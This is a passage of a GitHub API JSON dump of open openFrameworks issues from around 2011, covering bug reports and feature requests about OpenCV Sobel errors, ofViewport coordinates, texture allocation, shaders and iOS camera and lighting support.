branch","user":{"login":"nardove","id":277690,"avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","url":"https://api.github.com/users/nardove","html_url":"https://github.com/nardove","followers_url":"https://api.github.com/users/nardove/followers","following_url":"https://api.github.com/users/nardove/following","gists_url":"https://api.github.com/users/nardove/gists{/gist_id}","starred_url":"https://api.github.com/users/nardove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nardove/subscriptions","organizations_url":"https://api.github.com/users/nardove/orgs","repos_url":"https://api.github.com/users/nardove/repos","events_url":"https://api.github.com/users/nardove/events{/privacy}","received_events_url":"https://api.github.com/users/nardove/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-02-07T15:58:19Z","updated_at":"2012-12-04T10:17:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi,\n\nI get the following error:\n\n**OF_WARNING: ofBaseVideoPlayer::setPixelFormat not implemented\nOpenCV Error: Assertion failed (src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F))) in cvSobel, file /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp, line 347\nterminate called after throwing an instance of 'cv::Exception'\n what(): /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp:347: error: (-215) src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F)) in function cvSobel**\n\nWhen I try to call the cvSobel method like this:\ncvSobel( grayImage.getCvImage(), grayImage.getCvImage(), 0, 1, 3 );\n\nThis works fine in 0062.\n\nCheers\n- rS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/460","id":579790,"number":460,"title":"saveImage() and other save operations should create missing directories","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":null,"comments":8,"created_at":"2011-02-07T07:52:25Z","updated_at":"2012-03-08T15:56:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i feel like it happens relatively often where i try to save an image (for example) and the parent directories don't exist, so it just fails without really saying anything.\r\n\r\nit would be nice if the dir(s) were just created automatically for you."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/454","id":578069,"number":454,"title":"ofTexture::allocate not checking for unnecessary reallocation","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-02-06T04:26:44Z","updated_at":"2011-02-06T04:26:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofPixels::allocate is smart in that it doesn't reallocate if you ask for the same size as what's already there. ofTexture should work the same way to avoid unnecessary overhead."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/449","id":568540,"number":449,"title":"ofViewport doesn't work with ofSetOrientation","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-02-02T00:03:09Z","updated_at":"2011-02-02T00:03:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"maybe a generic 'transformer' function would handle both this and mouse coordinates, and anything else? ofPoint ofGetAsbolutePosition(x,y)?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/446","id":565122,"number":446,"title":"no way to get imageType of ofVideoGrabber","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-31T19:26:41Z","updated_at":"2011-01-31T19:26:41Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofVideoGrabber has getOFPixels in the .h, but it isn't implemented in the .cpp.\r\n\r\nmaybe this is just a signal that ofPixels stuff needs to be resolved soon... :) i'd be glad to help with this if possible."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/424","id":556923,"number":424,"title":"Check ofShader Texture Wrap Parameters","user":{"login":"NickHardeman","id":142694,"avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","url":"https://api.github.com/users/NickHardeman","html_url":"https://github.com/NickHardeman","followers_url":"https://api.github.com/users/NickHardeman/followers","following_url":"https://api.github.com/users/NickHardeman/following","gists_url":"https://api.github.com/users/NickHardeman/gists{/gist_id}","starred_url":"https://api.github.com/users/NickHardeman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/NickHardeman/subscriptions","organizations_url":"https://api.github.com/users/NickHardeman/orgs","repos_url":"https://api.github.com/users/NickHardeman/repos","events_url":"https://api.github.com/users/NickHardeman/events{/privacy}","received_events_url":"https://api.github.com/users/NickHardeman/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-27T19:43:31Z","updated_at":"2011-12-02T21:05:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I thought checking for custom texture wrapping in ofShader might be useful. Not sure how to add a label to this :/\n\n#include ofGraphics.h\n\nvoid setUniformTexture(const char* name, ofBaseHasTexture& img, int textureLocation=-1);\nvoid setUniformTexture(const char* name, ofTexture& img, int textureLocation=-1);\n\nvoid ofShader::setUniformTexture(const char* name, ofTexture& tex, int textureLocation) {\n\tif(bLoaded) {\n\t\t\n\t\tGLfloat wrapS = -1;\n\t\tGLfloat wrapT = -1;\n\t\t\n\t\tif (ofGetUsingCustomTextureWrap()) {\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, &wrapS);\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, &wrapT);\n\t\t}\n\t\t\n\t\tofTextureData texData = tex.getTextureData();\n\t\tif (textureLocation < 0) textureLocation = texData.textureID;\n\t\tglActiveTexture(GL_TEXTURE0 + textureLocation);\n\t\tglEnable(texData.textureTarget);\n\t\t\n\t\tif(wrapS > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrapS);\n\t\tif(wrapT > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrapT);\n\t\t\n\t\tglBindTexture(texData.textureTarget, texData.textureID);\n\t\tglDisable(texData.textureTarget);\n\t\tsetUniform1i(name, texData.textureID);\n\t\tglActiveTexture(GL_TEXTURE0);\n\t}\n}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/418","id":543729,"number":418,"title":"something to wrap glMultMatrixf","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-22T15:57:37Z","updated_at":"2011-01-22T15:57:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"suggestions:\r\n\r\n ofPopMatrix(ofMatrix4x4 m)\r\n\r\n ofMultMatrix(ofMatrix4x4 m)\r\n\r\n ofMatrix4x4::apply();\r\n ofMatrix4x4::push();"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/417","id":543694,"number":417,"title":"3D isn't scale invariant in certain parts","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-22T15:24:07Z","updated_at":"2011-01-22T15:24:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"e.g.\r\n\r\n void ofEasyCam::reset() {\r\n\ttarget.resetTransform();\r\n\tdistance = 100;\r\n }\r\n\r\nofNode's\r\n\tvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nsuggestions:\r\n\r\nglobal variable called something like 'base3DScaleFactor = 10.0f' which will affect all of these current constant scale factors"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/412","id":539845,"number":412,"title":"add setMultisampling method to glutWindow","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-20T19:33:30Z","updated_at":"2011-01-20T19:33:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"multisampling is now working in linux through the display string option. perhaps we could add a method to easily set it if it also works on win/osx"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/410","id":539744,"number":410,"title":"ofCamera / ofEasyCamera does not work correctly for iPhone / iPad","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":11,"created_at":"2011-01-20T18:59:10Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Needs to take into account the rotation and the flipping happening in ofAppiPhoneWindow::timerLoop() \n\nAlso the internal call to ofViewport causes clipping in horizontal mode. \n\nIts currently very difficult to setup the camera correctly for iPad / iPhone - would be great if the default for ofCamera would be to start with the typical OF camera view. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/406","id":537416,"number":406,"title":"ofEnableLighting","user":{"login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-19T19:39:36Z","updated_at":"2011-01-19T19:39:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofLight bug not sure what the ios equivalent is..\r\n\r\nglColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE); is not supported in IOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/405","id":536614,"number":405,"title":"ofViewport doesn't match rest of openFrameworks coordinates","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-19T13:24:53Z","updated_at":"2011-01-19T13:24:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Suggest change line 126 of ofGraphics.h to\r\n\tglViewport(x, ofGetHeight() - y - height, width, height);\r\n\r\nto be in line with rest of openFrameworks coordinate system\r\ne.g. ofRect(myRect) matches ofViewport(myRect)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/403","id":532954,"number":403,"title":"setPixelFormat shouldn't be stored in videoGrabber/Player","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-17T23:39:31Z","updated_at":"2012-06-18T07:28:14Z","closed_at":null,"p